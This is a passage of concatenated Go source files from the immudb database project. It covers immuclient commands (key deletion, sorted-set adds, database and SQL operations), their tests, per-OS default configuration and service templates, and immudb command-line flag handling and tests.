immuClient.Delete(ctx, &schema.DeleteKeysRequest{Keys: [][]byte{key}}) }) if err != nil { if strings.Contains(err.Error(), "NotFound") { return fmt.Sprintf("key not found: %v ", string(key)), nil } rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } return "key successfully deleted", nil } func (i *immuc) ZAdd(args []string) (string, error) { var setReader io.Reader var scoreReader io.Reader var keyReader io.Reader if len(args) > 1 { setReader = bytes.NewReader([]byte(args[0])) scoreReader = bytes.NewReader([]byte(args[1])) keyReader = bytes.NewReader([]byte(args[2])) } bs, err := ioutil.ReadAll(scoreReader) if err != nil { return "", err } score, err := strconv.ParseFloat(string(bs), 64) if err != nil { return "", err } set, err := ioutil.ReadAll(setReader) if err != nil { return "", err } key, err := ioutil.ReadAll(keyReader) if err != nil { return "", err } ctx := context.Background() txhdr, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.ZAdd(ctx, set, score, key) }) if err != nil { return "", err } return PrintSetItem(set, key, score, txhdr.(*schema.TxHeader), false), nil } func (i *immuc) VerifiedZAdd(args []string) (string, error) { var setReader io.Reader var scoreReader io.Reader var keyReader io.Reader if len(args) > 1 { setReader = bytes.NewReader([]byte(args[0])) scoreReader = bytes.NewReader([]byte(args[1])) keyReader = bytes.NewReader([]byte(args[2])) } bs, err := ioutil.ReadAll(scoreReader) if err != nil { return "", err } score, err := strconv.ParseFloat(string(bs), 64) if err != nil { return "", err } set, err := ioutil.ReadAll(setReader) if err != nil { return "", err } key, err := ioutil.ReadAll(keyReader) if err != nil { return "", err } ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.VerifiedZAdd(ctx, set, score, key) }) if err != nil { return "", err } resp := PrintSetItem([]byte(args[0]), []byte(args[2]), score, response.(*schema.TxHeader), true) return resp, nil } func (i *immuc) CreateDatabase(args []string) (string, error) { if len(args) < 1 { return "", fmt.Errorf("ERROR: Not enough arguments. Use [command] --help for documentation ") } dbname := args[0] ctx := context.Background() if _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return nil, immuClient.CreateDatabase(ctx, &schema.DatabaseSettings{ DatabaseName: string(dbname), }) }); err != nil { return "", err } return "database successfully created", nil } func (i *immuc) DatabaseList(args []string) (string, error) { resp, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.DatabaseList(context.Background()) }) if err != nil { return "", err } var dbList string for _, val := range resp.(*schema.DatabaseListResponse).Databases { if i.options.immudbClientOptions.CurrentDatabase == val.DatabaseName { dbList += "*" } dbList += fmt.Sprintf("%s", val.DatabaseName) } return dbList, nil } func (i *immuc) UseDatabase(args []string) (string, error) { var dbname string if len(args) > 0 { dbname = args[0] } else if len(i.options.immudbClientOptions.Database) > 0 { dbname = i.options.immudbClientOptions.Database } else { return "", fmt.Errorf("database name not specified") } ctx := context.Background() _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.UseDatabase(ctx, &schema.Database{ DatabaseName: dbname, }) }) if err != nil { return "", err } i.ImmuClient.GetOptions().CurrentDatabase = dbname return fmt.Sprintf("Now using %s", dbname), nil } ================================================ FILE: cmd/immuclient/immuc/setcommands_errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc /* import ( "context" "errors" "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestSetCommandsErrors(t *testing.T) { defer os.Remove(".root-") immuClientMock := &clienttest.ImmuClientMock{} ic := &immuc{ImmuClient: immuClientMock} // RawSafeSet errors args := []string{"key1", "value1"} errRawSafeSet := errors.New("raw safe set error") immuClientMock.RawSafeSetF = func(context.Context, []byte, []byte) (vi *client.VerifiedIndex, err error) { return nil, errRawSafeSet } _, err := ic.RawSafeSet(args) require.ErrorIs(t, err, errRawSafeSet) immuClientMock.RawSafeSetF = func(context.Context, []byte, []byte) (vi *client.VerifiedIndex, err error) { return nil, nil } errRawSafeGet := errors.New("raw safe get error") immuClientMock.RawSafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) { return nil, errRawSafeGet } _, err = ic.RawSafeSet(args) require.ErrorIs(t, err, errRawSafeGet) // Set errors errSet := errors.New("set error") immuClientMock.SetF = func(context.Context, []byte, []byte) (*schema.Index, error) { return nil, errSet } _, err = ic.Set(args) require.ErrorIs(t, err, errSet) immuClientMock.SetF = func(context.Context, []byte, []byte) (*schema.Index, error) { return nil, nil } errGet := errors.New("get error") immuClientMock.GetF = func(context.Context, []byte) (*schema.StructuredItem, error) { return nil, errGet } _, err = ic.Set(args) require.ErrorIs(t, err, errGet) // SafeSet errors errSafeSet := errors.New("safe set error") immuClientMock.SafeSetF = func(context.Context, []byte, []byte) (*client.VerifiedIndex, error) { return nil, errSafeSet } _, err = ic.SafeSet(args) require.ErrorIs(t, err, errSafeSet) immuClientMock.SafeSetF = func(context.Context, []byte, []byte) (*client.VerifiedIndex, error) { return nil, nil } errSafeGet := errors.New("safe get errrors") immuClientMock.SafeGetF = func(context.Context, []byte, ...grpc.CallOption) (*client.VerifiedItem, error) { return nil, errSafeGet } _, err = ic.SafeSet(args) require.ErrorIs(t, err, errSafeGet) // ZAdd errors _, err = ic.ZAdd([]string{"set1", "X", "key1"}) require.Error(t, err) errZAdd := errors.New("zadd error") immuClientMock.ZAddF = func(context.Context, []byte, float64, []byte, *schema.Index) (*schema.Index, error) { return nil, errZAdd } _, err = ic.ZAdd([]string{"set1", "1", "key1"}) require.ErrorIs(t, err, errZAdd) // SafeZAdd errors _, err = ic.SafeZAdd([]string{"set1", "X", "key1"}) require.Error(t, err) errSafeZAdd := errors.New("safe zadd error") immuClientMock.SafeZAddF = func(context.Context, []byte, float64, []byte, *schema.Index) (*client.VerifiedIndex, error) { return nil, errSafeZAdd } _, err = ic.SafeZAdd([]string{"set1", "1", "key1"}) require.ErrorIs(t, err, errSafeZAdd) // CreateDatabase errors _, err = ic.CreateDatabase(nil) require.Equal( t, errors.New("ERROR: Not enough arguments. Use [command] --help for documentation "), err) errCreateDb := errors.New("create database error") immuClientMock.CreateDatabaseF = func(context.Context, *schema.Database) error { return errCreateDb } _, err = ic.CreateDatabase([]string{"db1"}) require.ErrorIs(t, err, errCreateDb) // DatabaseList errors errDbList := errors.New("database list error") immuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) { return nil, errDbList } _, err = ic.DatabaseList(nil) require.ErrorIs(t, err, errDbList) ic.options = &client.Options{CurrentDatabase: "db2"} immuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) { return &schema.DatabaseListResponse{ Databases: []*schema.Database{ &schema.Database{Databasename: "db1"}, &schema.Database{Databasename: "db2"}, }, }, nil } resp, err := ic.DatabaseList(nil) require.NoError(t, err) require.Contains(t, resp, "db1") require.Contains(t, resp, "*db2") // UseDatabase errors errUseDb := errors.New("use database error") immuClientMock.UseDatabaseF = func(context.Context, *schema.Database) (*schema.UseDatabaseReply, error) { return nil, errUseDb } args = []string{"db1"} _, err = ic.UseDatabase(args) require.ErrorIs(t, err, errUseDb) immuClientMock.UseDatabaseF = func(context.Context, *schema.Database) (*schema.UseDatabaseReply, error) { return &schema.UseDatabaseReply{ Token: "sometoken", }, nil } immuClientMock.GetOptionsF = func() *client.Options { return &client.Options{TokenFileName: "sometokenfile"} } hdsMock := clienttest.DefaultHomedirServiceMock() ic.ts = tokenservice.NewTokenService().WithHds(hdsMock) errWriteFileToHomeDir := errors.New("write file to home dir errror") hdsMock.WriteFileToUserHomeDirF = func(content []byte, pathToFile string) error { return errWriteFileToHomeDir } _, err = ic.UseDatabase(args) require.ErrorIs(t, err, errWriteFileToHomeDir) } */ ================================================ FILE: cmd/immuclient/immuc/setcommands_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc_test import ( "testing" "github.com/stretchr/testify/require" ) func TestSet(t *testing.T) { ic := setupTest(t) msg, err := ic.Imc.Set([]string{"key", "val"}) require.NoError(t, err, "Set fail") require.Contains(t, msg, "value", "Set failed") } func TestVerifiedSet(t *testing.T) { ic := setupTest(t) msg, err := ic.Imc.VerifiedSet([]string{"key", "val"}) require.NoError(t, err, "VerifiedSet fail") require.Contains(t, msg, "value", "VerifiedSet failed") } func TestZAdd(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.VerifiedSet([]string{"key", "val"}) require.NoError(t, err) msg, err := ic.Imc.ZAdd([]string{"val", "1", "key"}) require.NoError(t, err, "ZAdd fail") require.Contains(t, msg, "hash", "ZAdd failed") } func _TestVerifiedZAdd(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.VerifiedSet([]string{"key", "val"}) require.NoError(t, err) msg, err := ic.Imc.VerifiedZAdd([]string{"val", "1", "key"}) require.NoError(t, err, "VerifiedZAdd fail") require.Contains(t, msg, "hash", "VerifiedZAdd failed") } func TestCreateDatabase(t *testing.T) { ic := setupTest(t) msg, err := ic.Imc.CreateDatabase([]string{"newdb"}) require.NoError(t, err, "CreateDatabase fail") require.Contains(t, msg, "database successfully created", "CreateDatabase failed") _, err = ic.Imc.DatabaseList([]string{}) require.NoError(t, err, "DatabaseList fail") msg, err = ic.Imc.UseDatabase([]string{"newdb"}) require.NoError(t, err, "UseDatabase fail") require.Contains(t, msg, "newdb", "UseDatabase failed") } ================================================ FILE: cmd/immuclient/immuc/sql.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "bytes" "context" "fmt" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/olekukonko/tablewriter" ) func (i *immuc) SQLExec(args []string) (string, error) { sqlStmt := strings.Join(args, " ") ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.SQLExec(ctx, sqlStmt, nil) }) if err != nil { return "", err } sqlRes := response.(*schema.SQLExecResult) var updatedRows int for _, tx := range sqlRes.Txs { updatedRows += int(tx.UpdatedRows) } return fmt.Sprintf("Updated rows: %d", updatedRows), nil } func (i *immuc) SQLQuery(args []string) (string, error) { sqlStmt := strings.Join(args, " ") ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { resp, err := immuClient.SQLQuery(ctx, sqlStmt, nil, true) if err != nil { return nil, err } return renderTableResult(resp), nil }) if err != nil { return "", err } return response.(string), nil } func (i *immuc) ListTables() (string, error) { ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { resp, err := immuClient.ListTables(ctx) if err != nil { return nil, err } return renderTableResult(resp), nil }) if err != nil { return "", err } return response.(string), nil } func (i *immuc) DescribeTable(args []string) (string, error) { if len(args) != 1 { return "", client.ErrIllegalArguments } ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { resp, err := immuClient.DescribeTable(ctx, args[0]) if err != nil { return nil, err } return renderTableResult(resp), nil }) if err != nil { return "", err } return response.(string), nil } func renderTableResult(resp *schema.SQLQueryResult) string { if resp == nil { return "" } result := bytes.NewBuffer([]byte{}) consoleTable := tablewriter.NewWriter(result) cols := make([]string, len(resp.Columns)) for i, c := range resp.Columns { cols[i] = c.Name } consoleTable.SetHeader(cols) for _, r := range resp.Rows { row := make([]string, len(r.Values)) for i, v := range r.Values { row[i] = schema.RenderValue(v.Value) } consoleTable.Append(row) } consoleTable.SetAutoFormatHeaders(false) consoleTable.Render() return result.String() } ================================================ FILE: cmd/immuclient/immuclient.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "fmt" "os" "strings" c "github.com/codenotary/immudb/cmd/helper" immuclient "github.com/codenotary/immudb/cmd/immuclient/command" ) func main() { cmd := immuclient.NewCommand() err := immuclient.Execute(cmd) if err != nil { fmt.Println(cmd.Aliases) if strings.HasPrefix(err.Error(), "unknown command") { os.Exit(0) } c.QuitWithUserError(err) } } ================================================ FILE: cmd/immuclient/immuclienttest/helper.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclienttest import ( "bytes" "io" "log" "os" "sync" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immuclient/immuc" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server/servertest" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) type ClientTest struct { Imc immuc.Client Ts tokenservice.TokenService Options immuc.Options Pr helper.PasswordReader Dialer servertest.BuffDialer } type HomedirServiceMock struct { m sync.RWMutex f map[string][]byte } func (h *HomedirServiceMock) FileExistsInUserHomeDir(pathToFile string) (bool, error) { h.m.RLock() defer h.m.RUnlock() if h.f == nil { return false, nil } _, exists := h.f[pathToFile] return exists, nil } func (h *HomedirServiceMock) WriteFileToUserHomeDir(content []byte, pathToFile string) error { h.m.Lock() defer h.m.Unlock() if h.f == nil { h.f = map[string][]byte{} } h.f[pathToFile] = content return nil } func (h *HomedirServiceMock) DeleteFileFromUserHomeDir(pathToFile string) error { h.m.Lock() defer h.m.Unlock() if h.f != nil { delete(h.f, pathToFile) } return nil } func (h *HomedirServiceMock) ReadFileFromUserHomeDir(pathToFile string) (string, error) { h.m.RLock() defer h.m.RUnlock() if h.f == nil { return "", os.ErrNotExist } c, exists := h.f[pathToFile] if !exists { return "", os.ErrNotExist } return string(c), nil } func NewDefaultClientTest() *ClientTest { return &ClientTest{} } func NewClientTest(pr helper.PasswordReader, tkns tokenservice.TokenService, opts *client.Options) *ClientTest { return &ClientTest{ Ts: tkns, Pr: pr, Options: *(&immuc.Options{}).WithImmudbClientOptions(opts), } } func (ct *ClientTest) WithTokenFileService(tkns tokenservice.TokenService) *ClientTest { ct.Imc.WithFileTokenService(tkns) return ct } func (ct *ClientTest) WithOptions(opts *immuc.Options) *ClientTest { ct.Options = *opts return ct } func (c *ClientTest) Connect(dialer servertest.BuffDialer) { c.Options.WithRevisionSeparator("@") c.Options.GetImmudbClientOptions(). WithDialOptions([]grpc.DialOption{ grpc.WithContextDialer(dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }). WithPasswordReader(c.Pr) c.Dialer = dialer ic, err := immuc.Init(&c.Options) if err != nil { log.Fatal(err) } err = ic.Connect([]string{""}) if err != nil { log.Fatal(err) } ic.WithFileTokenService(c.Ts) c.Imc = ic } func (c *ClientTest) Login(username string) { _, err := c.Imc.Login([]string{username}) if err != nil { log.Fatal(err) } } func CaptureStdout(f func()) string { custReader, custWriter, err := os.Pipe() if err != nil { panic(err) } origStdout := os.Stdout origStderr := os.Stderr defer func() { os.Stdout = origStdout os.Stderr = origStderr }() os.Stdout, os.Stderr = custWriter, custWriter log.SetOutput(custWriter) out := make(chan string) wg := new(sync.WaitGroup) wg.Add(1) go func() { var buf bytes.Buffer wg.Done() io.Copy(&buf, custReader) out <- buf.String() }() wg.Wait() f() custWriter.Close() return <-out } type PasswordReader struct { Pass []string callNumber int } func (pr *PasswordReader) Read(msg string) ([]byte, error) { if len(pr.Pass) <= pr.callNumber { log.Fatal("Application requested the password more times than number of passwords supplied") } pass := []byte(pr.Pass[pr.callNumber]) pr.callNumber++ return pass, nil } ================================================ FILE: cmd/immuclient/service/configs/immuclient.toml.freebsd.dist.go ================================================ //go:build freebsd // +build freebsd /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package service var ConfigImmuClient = []byte(`dir = "/var/lib/immuclient" address = "0.0.0.0" port = 3323 immudb-address = "127.0.0.1" immudb-port = 3322 pidfile = "/var/lib/immuclient/immuclient.pid" logfile = "/var/log/immuclient/immuclient.log" mtls = false detached = false servername = "localhost" audit-username = "immudb" audit-password = "immudb" pkey = "" certificate = "" clientcas = ""`) ================================================ FILE: cmd/immuclient/service/configs/immuclient.toml.linux.dist.go ================================================ //go:build linux || darwin // +build linux darwin /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package service // ConfigImmuClient ... var ConfigImmuClient = []byte(`dir = "/var/lib/immuclient" address = "0.0.0.0" port = 3323 immudb-address = "127.0.0.1" immudb-port = 3322 pidfile = "/var/lib/immuclient/immuclient.pid" logfile = "/var/log/immuclient/immuclient.log" mtls = false detached = false servername = "localhost" audit-username = "immudb" audit-password = "immudb" pkey = "" certificate = "" clientcas = ""`) ================================================ FILE: cmd/immuclient/service/configs/immuclient.toml.windows.dist.go ================================================ //go:build windows // +build windows /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package service var ConfigImmuClient = []byte(`dir = "%programdata%\\Immuclient" address = "0.0.0.0" port = 3323 immudb-address = "127.0.0.1" immudb-port = 3322 pidfile = "%programdata%\\Immuclient\\config\\immuclient.pid" logfile = "%programdata%\\Immuclient\\config\\immuclient.log" mtls = false detached = false servername = "localhost" audit-username = "immudb" audit-password = "immudb" pkey = "" certificate = "" clientcas = ""`) ================================================ FILE: cmd/immuclient/service/constants/freebsd.dist.go ================================================ //go:build freebsd // +build freebsd /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package constants import "fmt" const ExecPath = "/usr/sbin/" const ConfigPath = "/etc/immudb" const ManPath = "" const OSUser = "immu" const OSGroup = "immu" var StartUpConfig = "" // UsageDet details on config and log file on specific os var UsageDet = fmt.Sprintf(`Config file is present in %s. Log file is in /var/log/immuclient`, ConfigPath) // UsageExamples usage examples for linux var UsageExamples = ` Install immudb immutable database and immuclient immuclient audit-mode install - Initializes and runs daemon immuclient audit-mode stop - Stops the daemon immuclient audit-mode start - Starts initialized daemon immuclient audit-mode restart - Restarts daemon immuclient audit-mode uninstall - Removes daemon and its setup ` ================================================ FILE: cmd/immuclient/service/constants/linux.dist.go ================================================ //go:build linux || darwin // +build linux darwin /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package constants import "fmt" const ExecPath = "/usr/sbin/" const ConfigPath = "/etc/" const OSUser = "immu" const OSGroup = "immu" var StartUpConfig = fmt.Sprintf(`[Unit] Description={{.Description}} Requires={{.Dependencies}} After={{.Dependencies}} [Service] PIDFile=/var/lib/immuclient/{{.Name}}.pid ExecStartPre=/bin/rm -f /var/lib/immuclient/{{.Name}}.pid ExecStart={{.Path}} {{.Args}} Restart=on-failure User=%s Group=%s [Install] WantedBy=multi-user.target `, OSUser, OSGroup) // UsageDet details on config and log file on specific os var UsageDet = fmt.Sprintf(`Config file is present in %s. Log file is in /var/log/immuclient`, ConfigPath) // UsageExamples usage examples for linux var UsageExamples = ` Install immudb immutable database and immuclient immuclient audit-mode - Run a foreground auditor immuclient audit-mode install - Install and runs daemon immuclient audit-mode stop - Stops the daemon immuclient audit-mode start - Starts initialized daemon immuclient audit-mode restart - Restarts daemon immuclient audit-mode uninstall - Removes daemon and its setup ` ================================================ FILE: cmd/immuclient/service/constants/windows.dist.go ================================================ //go:build windows // +build windows /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package constants import "fmt" const ExecPath = "" const ConfigPath = "" const OSUser = "" const OSGroup = "" var StartUpConfig = "" // UsageDet details on config and log file on specific os var UsageDet = fmt.Sprintf(`Config and log files are present in C:\ProgramData\Immudb folder`) // UsageExamples examples var UsageExamples = ` Install immudb auditor immuclient.exe audit-mode install - Initializes and runs daemon immuclient.exe audit-mode stop - Stops the daemon immuclient.exe audit-mode start - Starts initialized daemon immuclient.exe audit-mode restart - Restarts daemon immuclient.exe audit-mode uninstall - Removes daemon and its setup ` ================================================ FILE: cmd/immudb/command/cmd.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( "fmt" "strconv" "time" "github.com/codenotary/immudb/cmd/docs/man" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immudb/command/service" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/server" "github.com/spf13/cobra" ) func Execute() { version.App = "immudb" // set the version fields so that they are available to the monitoring HTTP server server.Version = server.VersionResponse{ Component: "immudb", Version: fmt.Sprintf("%s-%s", version.Version, version.Commit), BuildTime: version.BuiltAt, BuiltBy: version.BuiltBy, Static: version.Static == "static", FIPS: version.FIPSBuild(), } if version.BuiltAt != "" { i, err := strconv.ParseInt(version.BuiltAt, 10, 64) if err == nil { server.Version.BuildTime = time.Unix(i, 0).Format(time.RFC1123) } } cmd, err := newCommand(server.DefaultServer()) if err != nil { c.QuitWithUserError(err) } if err := cmd.Execute(); err != nil { c.QuitWithUserError(err) } } // NewCmd ... func newCommand(immudbServer server.ImmuServerIf) (*cobra.Command, error) { cl := Commandline{P: c.NewPlauncher(), config: c.Config{Name: "immudb"}} cmd, err := cl.NewRootCmd(immudbServer) if err != nil { c.QuitToStdErr(err) } cmd.AddCommand(man.Generate(cmd, "immudb", "./cmd/docs/man/immudb")) cmd.AddCommand(version.VersionCmd()) scl := service.NewCommandLine() scl.Register(cmd) return cmd, nil } ================================================ FILE: cmd/immudb/command/cmd_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immudb import ( "bytes" "testing" "github.com/stretchr/testify/require" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immudb/command/immudbcmdtest" "github.com/codenotary/immudb/pkg/server" "github.com/spf13/cobra" "github.com/spf13/viper" ) func DefaultTestOptions() (o *server.Options) { o = server.DefaultOptions() o.Pidfile = "tmp/immudbtest/immudbtest.pid" o.Logfile = "immudbtest.log" o.Dir = "tmp/immudbtest/data" return o } func TestImmudbCommandFlagParser(t *testing.T) { o := DefaultTestOptions() var options *server.Options var err error cmd := &cobra.Command{ Use: "immudb", RunE: func(cmd *cobra.Command, args []string) (err error) { options, err = parseOptions() if err != nil { return err } return nil }, } cl := Commandline{} cl.setupFlags(cmd, server.DefaultOptions()) err = viper.BindPFlags(cmd.Flags()) require.NoError(t, err) setupDefaults(server.DefaultOptions()) _, err = executeCommand(cmd, "--logfile="+o.Logfile) require.NoError(t, err) require.Equal(t, o.Logfile, options.Logfile) } func TestImmudbCommandFlagParserWrongTLS(t *testing.T) { defer viper.Reset() viper.Set("mtls", true) o := DefaultTestOptions() var err error cmd := &cobra.Command{ Use: "immudb", RunE: func(cmd *cobra.Command, args []string) (err error) { _, err = parseOptions() if err != nil { return err } return nil }, } cl := Commandline{} cl.setupFlags(cmd, server.DefaultOptions()) err = viper.BindPFlags(cmd.Flags()) require.NoError(t, err) setupDefaults(server.DefaultOptions()) _, err = executeCommand(cmd, "--logfile="+o.Logfile) require.Error(t, err) } // Priority: // 1. overrides // 2. flags // 3. env. variables // 4. config file func TestImmudbCommandFlagParserPriority(t *testing.T) { defer viper.Reset() o := DefaultTestOptions() var options *server.Options var err error cl := Commandline{} cl.config.Name = "immudb" cmd := &cobra.Command{ Use: "immudb", PersistentPreRunE: cl.ConfigChain(nil), RunE: func(cmd *cobra.Command, args []string) (err error) { options, err = parseOptions() if err != nil { return err } return nil }, } cl.setupFlags(cmd, server.DefaultOptions()) err = viper.BindPFlags(cmd.Flags()) require.NoError(t, err) setupDefaults(server.DefaultOptions()) // 4. config file _, err = executeCommand(cmd) require.NoError(t, err) require.Equal(t, "", options.Logfile) // 4-b. config file specified in command line _, err = executeCommand(cmd, "--config=../../../test/immudb.toml") require.NoError(t, err) require.Equal(t, "ConfigFileThatsNameIsDeclaredOnTheCommandLine", options.Logfile) // 3. env. variables t.Setenv("IMMUDB_LOGFILE", "EnvironmentVars") _, err = executeCommand(cmd) require.NoError(t, err) require.Equal(t, "EnvironmentVars", options.Logfile) // 2. flags _, err = executeCommand(cmd, "--logfile="+o.Logfile) require.NoError(t, err) require.Equal(t, o.Logfile, options.Logfile) // 1. overrides viper.Set("logfile", "override") _, err = executeCommand(cmd, "--logfile="+o.Logfile) require.NoError(t, err) require.Equal(t, "override", options.Logfile) } func executeCommand(root *cobra.Command, args ...string) (output string, err error) { _, output, err = executeCommandC(root, args...) return output, err } func executeCommandC(root *cobra.Command, args ...string) (c *cobra.Command, output string, err error) { buf := new(bytes.Buffer) root.SetOut(buf) root.SetErr(buf) root.SetArgs(args) c, err = root.ExecuteC() return c, buf.String(), err } func TestImmudb(t *testing.T) { var config string cmd := &cobra.Command{} cmd.Flags().StringVar(&config, "config", "", "test") setupDefaults(server.DefaultOptions()) cl := Commandline{} immudb := cl.Immudb(&immudbcmdtest.ImmuServerMock{}) err := immudb(cmd, nil) require.NoError(t, err) } func TestImmudbDetached(t *testing.T) { defer viper.Reset() var config string cmd := &cobra.Command{} cmd.Flags().StringVar(&config, "config", "", "test") setupDefaults(server.DefaultOptions()) viper.Set("detached", true) cl := Commandline{P: plauncherMock{}} immudb := cl.Immudb(&immudbcmdtest.ImmuServerMock{}) err := immudb(cmd, nil) require.NoError(t, err) } func TestImmudbMtls(t *testing.T) { defer viper.Reset() var config string cmd := &cobra.Command{} cmd.Flags().StringVar(&config, "config", "", "test") setupDefaults(server.DefaultOptions()) viper.Set("mtls", true) viper.Set("pkey", "../../../test/mtls_certs/ca.key.pem") viper.Set("certificate", "../../../test/mtls_certs/ca.cert.pem") viper.Set("clientcas", "../../../test/mtls_certs/ca-chain.cert.pem") cl := Commandline{} immudb := cl.Immudb(&immudbcmdtest.ImmuServerMock{}) err := immudb(cmd, nil) require.NoError(t, err) } func TestImmudbLogFile(t *testing.T) { defer viper.Reset() var config string cmd := &cobra.Command{} cmd.Flags().StringVar(&config, "config", "", "test") setupDefaults(server.DefaultOptions()) viper.Set("dir", t.TempDir()) viper.Set("logfile", 